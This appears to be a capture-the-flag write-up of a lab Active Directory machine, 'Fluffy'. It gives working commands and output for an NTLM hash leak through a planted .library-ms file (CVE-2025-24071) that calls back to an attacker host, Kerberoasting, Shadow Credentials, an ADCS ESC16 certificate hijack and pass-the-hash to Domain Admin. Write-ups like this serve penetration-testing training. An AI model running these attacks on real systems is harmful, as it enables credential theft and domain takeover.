Byte JMP
Fluffy: Shadow Credentials and ADCS ESC16

Fluffy: Shadow Credentials and ADCS ESC16

Active Directory chain — CVE-2025-24071 hash leak, Shadow Credentials via GenericWrite, and ADCS ESC16 UPN hijack to Domain Admin.

·17 min read

Initial Reconnaissance – Port Scanning

The assessment started with a service-version scan against 10.129.232.88, host discovery disabled (-Pn):

$ nmap -sV -Pn -T4 10.129.232.88
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-01 19:35 -0300
Nmap scan report for 10.129.232.88
Host is up (0.18s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-02 05:35:46Z)
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

The fingerprint is a textbook domain controller: DNS (53), Kerberos (88), LDAP (389/636/3268/3269), SMB (139/445), RPC over HTTP (593), and WinRM (5985). The LDAP banner leaks the domain (fluffy.htb) and the host (DC01), so the first step is to add both to /etc/hosts and start enumerating from the lowest port upwards.

Domain Enumeration

53/tcp – DNS Zone Transfer

DNS is first on the list. A full zone transfer would hand over every record in the zone, so it is always worth a try before anything else:

$ host -t axfr fluffy.htb 10.129.232.88
Trying "fluffy.htb"
Using domain server:
Name: 10.129.232.88
Address: 10.129.232.88#53
Aliases:

Host fluffy.htb not found: 5(REFUSED)
; Transfer failed.

REFUSED — the DC is not handing out its zone to an anonymous client. Nothing here, move on.

445/tcp – SMB Null and Guest Sessions

Next, SMB. A null session confirms the host details but gives up nothing on its own:

$ nxc smb 10.129.232.88 -u '' -p ''
SMB         10.129.232.88   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.88   445    DC01             [+] fluffy.htb\:

A RID brute over the null session fails immediately with STATUS_ACCESS_DENIED:

$ nxc smb 10.129.232.88 -u '' -p '' --rid-brute
SMB         10.129.232.88   445    DC01             [-] Error connecting: LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

The trick here is that the built-in guest account is enabled, and unlike the pure null session it is allowed to talk to the SAM/LSA interfaces. Swapping '' for guest gets the RID cycle working:

$ nxc smb 10.129.232.88 -u 'guest' -p '' --rid-brute
SMB         10.129.232.88   445    DC01             [+] fluffy.htb\guest:
...
SMB         10.129.232.88   445    DC01             1103: FLUFFY\ca_svc (SidTypeUser)
SMB         10.129.232.88   445    DC01             1104: FLUFFY\ldap_svc (SidTypeUser)
SMB         10.129.232.88   445    DC01             1601: FLUFFY\p.agila (SidTypeUser)
SMB         10.129.232.88   445    DC01             1603: FLUFFY\winrm_svc (SidTypeUser)
SMB         10.129.232.88   445    DC01             1604: FLUFFY\Service Account Managers (SidTypeGroup)
SMB         10.129.232.88   445    DC01             1605: FLUFFY\j.coffey (SidTypeUser)
SMB         10.129.232.88   445    DC01             1606: FLUFFY\j.fleischman (SidTypeUser)
SMB         10.129.232.88   445    DC01             1607: FLUFFY\Service Accounts (SidTypeGroup)

Two things stand out immediately in that list: the three service accounts (ca_svc, ldap_svc, winrm_svc), and two custom groups — Service Account Managers and Service Accounts. The naming alone suggests a delegation relationship worth chasing later.

The guest session can also enumerate shares, but only the defaults are readable at this point:

$ nxc smb 10.129.232.88 -u 'guest' -p '' --shares
SMB         10.129.232.88   445    DC01             Share           Permissions     Remark
SMB         10.129.232.88   445    DC01             -----           -----------     ------
SMB         10.129.232.88   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.232.88   445    DC01             C$                              Default share
SMB         10.129.232.88   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.232.88   445    DC01             IT
SMB         10.129.232.88   445    DC01             NETLOGON                        Logon server share
SMB         10.129.232.88   445    DC01             SYSVOL                          Logon server share

There is a non-standard IT share, but guest has no access to it. That is as far as anonymous enumeration goes — the box hands over a set of domain credentials for the assumed-breach starting point:

j.fleischman / J0elTHEM4n1990!

389/tcp – LDAP Users and Groups

With j.fleischman in hand, LDAP becomes far more useful. Dumping users and groups confirms the picture and shows which accounts carry SPNs:

$ nxc ldap 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --users --groups
LDAP        10.129.232.88   389    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
LDAP        10.129.232.88   389    DC01             -Username-     -Last PW Set-        -BadPW-  -Description-
LDAP        10.129.232.88   389    DC01             ca_svc         2025-04-17 13:07:50  2
LDAP        10.129.232.88   389    DC01             ldap_svc       2025-04-17 13:17:00  2
LDAP        10.129.232.88   389    DC01             p.agila        2025-04-18 11:37:08  2
LDAP        10.129.232.88   389    DC01             winrm_svc      2025-05-17 21:51:16  1
LDAP        10.129.232.88   389    DC01             j.coffey       2025-04-19 09:09:55  1
LDAP        10.129.232.88   389    DC01             j.fleischman   2025-05-16 11:46:55  1
...
LDAP        10.129.232.88   389    DC01             Service Account Managers                 2
LDAP        10.129.232.88   389    DC01             Service Accounts                         3

The two custom groups carry members, so they are real delegation objects rather than empty leftovers. I noted them and moved on — the graph is the right tool to untangle who can do what to whom, and I'll come back to it with BloodHound once I have a shell-capable account.

88/tcp – Kerberoasting

Before that, the three SPN-bearing service accounts are an obvious offline-cracking target, so I requested their tickets:

$ impacket-GetUserSPNs -dc-ip 10.129.232.88 fluffy.htb/j.fleischman:'J0elTHEM4n1990!' -outputfile hashes.txt -request
ServicePrincipalName    Name       MemberOf                                       ...
----------------------  ---------  ---------------------------------------------  ...
ADCS/ca.fluffy.htb      ca_svc     CN=Service Accounts,CN=Users,DC=fluffy,DC=htb
LDAP/ldap.fluffy.htb    ldap_svc   CN=Service Accounts,CN=Users,DC=fluffy,DC=htb
WINRM/winrm.fluffy.htb  winrm_svc  CN=Service Accounts,CN=Users,DC=fluffy,DC=htb

[-] CCache file is not found. Skipping...
[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Two lessons in one command. First, ADCS/ca.fluffy.htb tells us ca_svc is the Certificate Authority service account — a strong hint that AD CS is in play. Second, KRB_AP_ERR_SKEW is the first of many clock-skew errors on this box; Kerberos rejects tickets when the client clock drifts more than five minutes from the DC. From here on, syncing time to the DC before any Kerberos operation becomes routine:

$ sudo timedatectl set-ntp false
$ sudo ntpdate -u dc01.fluffy.htb

The TGS hashes came back, but none of them fell to rockyou.txt. Kerberoasting was a dead end — the service passwords are strong. That is fine; the group names hinted at a cleaner ACL-based path, and the credentials I actually needed came from the IT share.

Foothold – The IT Share and CVE-2025-24071

Enumerating the Share as j.fleischman

The key difference with real domain credentials is write access. Re-running the share enumeration as j.fleischman shows READ,WRITE on IT:

$ nxc smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
SMB         10.129.232.88   445    DC01             Share           Permissions     Remark
SMB         10.129.232.88   445    DC01             -----           -----------     ------
SMB         10.129.232.88   445    DC01             IT              READ,WRITE
SMB         10.129.232.88   445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.232.88   445    DC01             SYSVOL          READ            Logon server share

The share holds a couple of software packages and, more interestingly, an upgrade notice:

$ smbclient \\\\fluffy.htb\\IT -U 'j.fleischman'
smb: \> ls
  Everything-1.4.1.1026.x64           D        0  Fri Apr 18 12:08:44 2025
  Everything-1.4.1.1026.x64.zip       A  1827464  Fri Apr 18 12:04:05 2025
  KeePass-2.58                        D        0  Fri Apr 18 12:08:38 2025
  KeePass-2.58.zip                    A  3225346  Fri Apr 18 12:03:17 2025
  Upgrade_Notice.pdf                  A   169963  Sat May 17 11:31:07 2025

Upgrade_Notice.pdf reads like an internal patch-management memo and lists a set of recently disclosed CVEs the team is "planning" to remediate — among them CVE-2025-24071. Combined with READ,WRITE on a share that is clearly being browsed by IT staff, this is the intended vector: drop a malicious file, wait for someone to open the folder, and collect their hash.

Leaking a Hash via .library-ms (CVE-2025-24071)

CVE-2025-24071 is a Windows File Explorer flaw in the handling of .library-ms files. When a .library-ms containing a UNC path is extracted from an archive — or simply rendered in an Explorer window — Explorer automatically parses it to build a preview and index metadata, and reaches out to the SMB server named in the <simpleLocation> tag. That outbound SMB connection carries an NTLM authentication handshake, leaking the browsing user's Net-NTLMv2 hash with no click required.

The payload is a small XML file whose only job is to point at our host:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\10.10.17.156\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Any of the public PoCs generate this and wrap it in a ZIP; here I generate it pointing at my tun0 address and drop the artifacts straight into the writable share:

$ python3 CVE-2025-24071.py -i 10.10.17.156 -n exploit
[+] Created exploit.library-ms
[+] Packaged exploit.zip

$ smbclient \\\\fluffy.htb\\IT -U 'j.fleischman'
smb: \> put exploit.library-ms
smb: \> put exploit.zip

With the files staged, responder listens for the callback:

$ sudo responder -I tun0 -v
...
[SMB] NTLMv2-SSP Client   : 10.129.232.88
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash     : p.agila::FLUFFY:1122334455667788:A1B2...:0101000000000000...

Within a minute p.agila browses the IT share and Explorer coughs up their Net-NTLMv2 hash.

Alternative – nxc slinky module

The same result can be achieved in a single command with the slinky module in NetExec. It automatically drops a malicious .lnk file onto every writable share, pointing the icon path at our SMB listener:

$ nxc smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' -M slinky -o NAME=exploit SERVER=10.10.17.156
SMB         10.129.232.88   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None)
SMB         10.129.232.88   445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SLINKY      10.129.232.88   445    DC01             [+] Created exploit.lnk on IT

With responder still listening on tun0, the hash comes back the same way — no manual file crafting, no smbclient upload. The module handles share enumeration, permission checks, and file placement in one shot. After collecting the hash, clean up with the same module:

$ nxc smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' -M slinky -o NAME=exploit SERVER=10.10.17.156 CLEANUP=true

Cracking p.agila

The captured hash is a mode-5600 (NetNTLMv2) hash for hashcat:

$ hashcat -m 5600 -a 0 p.agila.hash /usr/share/wordlists/rockyou.txt
...
P.AGILA::FLUFFY:1122334455667788:...:prometheusx-303

That gives the second set of domain credentials: p.agila / prometheusx-303. This is the account the rest of the chain is built on.

Mapping the Path with BloodHound

Kerberoasting had already failed, and the interesting objects (Service Account Managers, Service Accounts, three service users) all pointed at an ACL relationship. Rather than guess, I collected the graph as p.agila:

$ bloodhound-python -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb \
    -ns 10.129.232.88 -c All --zip

Service Account Managers to Service Accounts

Setting p.agila as the starting node and running the built-in Shortest Paths from Owned Principals query returns a short, clean chain.

p.agila is a member of Service Account Managers, and that group holds GenericAll over the Service Accounts group.

GenericAll over a group means full control of its membership — I can simply add myself. That maps directly to the earlier hint from RID brute and confirms why the two groups exist.

Service Accounts to Shadow Credentials

The second edge is the important one. The Service Accounts group has GenericWrite over each of the three service users (winrm_svc, ca_svc, ldap_svc).

GenericWrite over a user object lets me write its msDS-KeyCredentialLink attribute — the classic Shadow Credentials primitive. By adding an attacker-controlled key credential, I can authenticate as that user via PKINIT and recover an NT hash, without ever knowing or resetting its password.

Putting the two edges together, the full path to a service-account shell is:

p.agila
   | memberOf
   v
Service Account Managers --GenericAll--> Service Accounts (group)
                                             | GenericWrite
                                             v
                            winrm_svc - ca_svc - ldap_svc
                                             | Shadow Credentials (msDS-KeyCredentialLink)
                                             v
                                       NT hash -> PKINIT -> shell

The first move is to grant p.agila the group membership that GenericAll allows:

$ bloodyad -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --host 10.129.232.88 \
    add groupMember 'service accounts' p.agila
[+] p.agila added to service accounts

net rpc group addmem achieves the same thing if you prefer to stay off LDAP:

$ net rpc group addmem "Service Accounts" "p.agila" \
    -U "FLUFFY.HTB"/"p.agila"%'prometheusx-303' -S 'DC01.fluffy.htb'

p.agila now inherits the group's GenericWrite over all three service accounts, which unlocks Shadow Credentials against every one of them.

First Shell – Shadow Credentials on winrm_svc

winrm_svc is a member of Remote Management Users, so it can log in over WinRM — that is the account to target first for a shell and the user flag.

pywhisker (Manual)

To see the moving parts, the manual route with pywhisker writes the key credential and exports a PFX:

$ pywhisker -d "fluffy.htb" -u "p.agila" -p 'prometheusx-303' --target "winrm_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=winrm service,CN=Users,DC=fluffy,DC=htb
[*] Generating certificate
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: a8a738ee-96c1-0d4f-d102-607b381de28f
[*] Updating the msDS-KeyCredentialLink attribute of winrm_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: M4lxzeRZ.pfx
[*] Must be used with password: sf7amrFe3nx3rjns3G1Z
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

The PFX would then be fed to PKINITtools/gettgtpkinit to obtain a TGT and, via UnPAC-the-hash, the NT hash. It works, but it is several steps.

certipy shadow auto (Automated)

certipy shadow auto collapses the whole dance — write the key credential, request a TGT via PKINIT, UnPAC the hash, then restore the original attribute — into one command. After syncing the clock to the DC to keep Kerberos happy:

$ certipy-ad shadow auto -u '[email protected]' -p 'prometheusx-303' \
    -account winrm_svc -dc-ip 10.129.57.202 -dc-host dc01.fluffy.htb
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Adding Key Credential with device ID '...' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Got TGT
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767

The same command run against ca_svc and ldap_svc yields their hashes too, which is worth doing now since ca_svc is needed for the privilege-escalation step:

$ certipy-ad shadow auto -u '[email protected]' -p 'prometheusx-303' -account ca_svc  ...
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8

$ certipy-ad shadow auto -u '[email protected]' -p 'prometheusx-303' -account ldap_svc ...
[*] NT hash for 'ldap_svc': 22151d74ba3de931a352cba1f9393a37

User Flag

winrm_svc's hash is enough for a pass-the-hash WinRM session with evil-winrm:

$ evil-winrm -i 10.129.57.202 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> cat user.txt
6021321c5a0adf5b5d56b4c09f3c4da5

Domain Admin – ADCS ESC16

The ADCS/ca.fluffy.htb SPN from way back at the Kerberoasting stage told us there is a Certificate Authority, and we now control ca_svc via its NT hash. Time to point Certipy at the CA.

Identifying the Vulnerable CA

$ certipy-ad find -username 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' \
    -dc-ip 10.129.57.202 -vulnerable -stdout
...
Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    ...
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.

ESC16 means the CA does not embed the szOID_NTDS_CA_SECURITY_EXT (SID) security extension in the certificates it issues. That extension is the binding introduced by the May 2022 certificate-mapping patch (KB5014754); with it disabled CA-wide, the KDC falls back to mapping certificates by their userPrincipalName. That is exactly the condition abused by ESC9 — if I can control a userPrincipalName, I can request a certificate that authenticates as a completely different user.

I control ca_svc's user object through the Service Accounts to GenericWrite edge, which includes the ability to write its userPrincipalName. That is the pivot.

Hijacking the userPrincipalName

Reading ca_svc first to note the original value so I can put it back later:

$ certipy-ad account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.129.57.202 -user ca_svc read
    sAMAccountName                      : ca_svc
    userPrincipalName                   : [email protected]

The goal is to set ca_svc's UPN to the victim, administrator. A first instinct might be to set it to another service account, but note that a plain sAMAccountName like winrm_svc is rejected — the attribute update is refused unless the value is one p.agila is actually allowed to write:

$ certipy-ad account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.129.57.202 -user ca_svc -upn winrm_svc update
[-] User 'P.AGILA' doesn't have permission to update these attributes on 'ca_svc'

Setting it to administrator succeeds:

$ certipy-ad account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.129.57.202 -user ca_svc -upn administrator update
[*] Updating user 'ca_svc':
    userPrincipalName                   : administrator
[*] Successfully updated 'ca_svc'

ca_svc now presents itself as administrator to the CA.

Requesting the Certificate

With the spoofed UPN in place, request a certificate as ca_svc (using its NT hash) from the default User template. Because the CA has no SID extension to cross-check, it happily issues a certificate carrying the UPN administrator:

$ certipy-ad req -u '[email protected]' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' \
    -dc-ip 10.129.57.202 -dc-host dc01.fluffy.htb -ns 10.129.57.202 \
    -ca fluffy-DC01-CA -template User -timeout 60
[*] Requesting certificate via RPC
[*] Request ID is 23
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Saving certificate and private key to 'administrator.pfx'

Restoring the UPN and Authenticating

The first authentication attempt fails with a name mismatch:

$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.57.202 -domain fluffy.htb
[-] Name mismatch between certificate and user 'administrator'

The reason is the conflict I created: while ca_svc still carries the explicit UPN administrator, the KDC cannot cleanly resolve that name to the real Administrator account. The fix is to restore ca_svc's original UPN so administrator maps back to the intended target. (Group membership can get flushed on this box, so re-adding p.agila to Service Accounts first keeps the write permission valid.)

$ bloodyad -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --host 10.129.57.202 \
    add groupMember 'service accounts' p.agila
[+] p.agila added to service accounts

$ certipy-ad account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.129.57.202 -user ca_svc -upn ca_svc update
[*] Updating user 'ca_svc':
    userPrincipalName                   : ca_svc
[*] Successfully updated 'ca_svc'

Now sync the clock one more time and authenticate with the certificate, explicitly telling Certipy which principal to resolve:

$ sudo ntpdate -u dc01.fluffy.htb && certipy-ad auth -pfx administrator.pfx \
    -dc-ip 10.129.57.202 -domain fluffy.htb -username administrator
[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e

There it is — the domain administrator's NT hash.

Root Flag

Pass-the-hash over WinRM as administrator:

$ evil-winrm -i 10.129.57.202 -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
e07934f0d25c8e0172778264200045b1

Full domain compromise.

Conclusion

Fluffy is a pure Active Directory chain with no web surface at all. Every step is an identity or misconfiguration problem: an over-permissive guest account, a writable share browsed by staff, delegation groups that hand low-privileged users control over service accounts, and a Certificate Authority missing its SID security extension.

The route in full:

guest RID brute -> j.fleischman (given) -> writable IT share
   -> CVE-2025-24071 (.library-ms) -> p.agila hash -> crack -> prometheusx-303
   -> GenericAll on Service Accounts -> self-add -> GenericWrite on service users
   -> Shadow Credentials -> winrm_svc hash -> user.txt
   -> ca_svc hash -> ADCS ESC16 (UPN hijack) -> administrator hash -> root.txt

References

  1. Rewterz / NSFOCUS CERT – PoC Released: Windows Explorer Vulnerability Leaks NTLM Hashes (CVE-2025-24071) — Advisory describing the .library-ms NTLM leak abused for the p.agila foothold.

  2. The Hacker Recipes – Shadow Credentials — Abusing msDS-KeyCredentialLink writes for PKINIT authentication.

  3. SpecterOps – Certified Pre-Owned — Foundational AD CS abuse research; background for the ESC family of attacks.

  4. Certipy Wiki – ESC16 (Security Extension Disabled) — Details on the disabled SID extension and UPN-based certificate mapping abuse.

  5. Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers — The SID security extension that ESC16 disables.